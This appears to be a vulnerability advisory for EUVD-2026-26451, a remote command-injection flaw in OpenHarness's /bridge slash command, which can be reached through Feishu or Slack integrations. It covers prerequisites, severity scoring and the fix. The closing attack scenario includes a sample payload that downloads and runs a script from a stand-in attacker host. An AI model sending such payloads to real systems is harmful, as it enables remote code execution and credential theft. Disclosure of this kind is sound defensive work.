OpenHarness EUVD-2026-26451

Remote sender credentials accepted by OpenHarness configuration AND remote message channel integration enabled (Feishu, Slack, or similar platform connector). The vulnerability specifically requires that the OpenHarness instance is configured to accept and process slash commands from remote collaboration platforms rather than local-UI-only mode. CVSS PR:L (low privileges required) indicates the attacker must possess valid authentication to the remote messaging platform that OpenHarness trusts, which could be a legitimate team member account or a compromised credential. Does NOT require: direct network access to OpenHarness server, administrative privileges within OpenHarness, or specific non-default feature flags beyond the remote channel integration itself. The default vulnerable configuration allowed all registered slash commands (including /bridge) to be remotely invocable, making any deployment with remote channels susceptible.

CVSS 8.8 (High) with network attack vector, low complexity, and low privileges required indicates significant risk, though exploitation requires authenticated access to configured remote channels. EPSS data not provided. Not confirmed actively exploited (not in CISA KEV). Publicly available exploit code exists via GitHub PR #208 and commit 438e373, which clearly demonstrate the vulnerable code path and exact fix. The patch restricts /bridge to local-only by default with explicit admin opt-in for remote access, indicating vendor confirmation of the attack vector. Real-world risk depends heavily on deployment configuration: organizations that expose OpenHarness to remote collaboration platforms (Feishu/Slack) with multiple authenticated users face immediate risk of lateral movement and data exfiltration. The vulnerability enables complete system compromise as the OpenHarness process user, but requires the attacker to already possess valid remote sender credentials accepted by the system configuration. SSVC assessment: exploitation status is POC (publicly available via GitHub), automatable (yes - network-accessible command injection), technical impact is total (arbitrary code execution with file/credential access). Priority is HIGH for internet-facing deployments with remote channel integrations, MEDIUM for isolated/local-only deployments. Key concern: the vulnerability provides authenticated insiders or compromised remote accounts a direct path to backend system access, bypassing application-layer controls.

An authenticated attacker with valid credentials accepted by OpenHarness remote sender configuration (e.g., authorized Feishu or Slack user) sends a malicious message '/bridge spawn curl http://attacker.com/exfil.sh|bash' through the integrated collaboration platform. The OpenHarness gateway receives the inbound message, routes it to the _bridge_handler without remote invocation checks, and forwards the attacker-controlled command text to the bridge session manager. The shared shell subprocess helper executes the command as the OpenHarness process user, downloading and executing the attacker's payload script. The attacker gains shell access with permissions to read workspace files, extract credentials from configuration, access repository contents, and establish persistence or pivot to other systems accessible to the OpenHarness host.